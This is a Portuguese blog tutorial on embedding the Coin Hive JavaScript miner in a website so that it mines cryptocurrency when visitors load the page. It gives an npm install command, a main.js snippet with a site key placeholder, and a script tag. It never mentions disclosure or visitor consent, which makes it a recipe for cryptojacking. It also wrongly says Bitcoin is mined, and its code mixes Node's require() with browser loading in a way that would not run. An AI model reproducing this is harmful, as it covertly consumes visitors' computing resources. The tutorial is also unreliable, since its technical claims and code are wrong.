Usando script Javascript para minerar Bitcoins em sites
Eaê galerinha, como o titulo já diz neste artigo estarei mostrando como usar o script javascript Coin Hive para minerar bitcoins em sites.
Muito bem vamos lá! Primeiramente você deve acessar o repositório oficial do script. Se quiser ir mais afundo no seu funcionamento basta dar uma lida nos métodos que ele possui.
Feito isso você deve fazer exatamente o que ele diz, rode o comando do npm. Porém nós iremos usar uma abordagem um pouco diferente.
Irei criar uma pasta chamada, miner-bitcoin e dentro dela rodar o comando:
npm i -g coin-hive
Feito isso ele será baixado e instalado globalmente na sua pasta ~/node_modules, porém ela não será usada por nós.
Enfim crie agora dois arquivos um chamado main.js e outro index.html.
Dentro do index.html é onde ficará sua página web qualquer, lembrando que é um script javascript, então você pode inseri-lo no seu site em Wordpress, Joomla, etc.
Muito bem feito isso no seu arquivo main.js cole o seguinte:
const CoinHive = require('coin-hive');
// Função IIFE assícrona
(async () => {// Instancie o CoinHive passando sua hash no constructor
const miner = await CoinHive('sua_hash_aqui')
// Exemplo
// const miner = await CoinHive('ZM4gjqQ0jh0jbZ3tZDByOXAjyotDbo00')// Aqui é onde você dará o start e ele começará a mineração
await miner.start()})()
Mas isso não é tudo, você deve adicionar este script em seu index.html, para isso apenas acrescente: <script src="main.js"></script>
Caso preferir você pode conferir um exemplo no github.
É isso aí galerinha, simples e prático minerar bitcoins usando Javscript.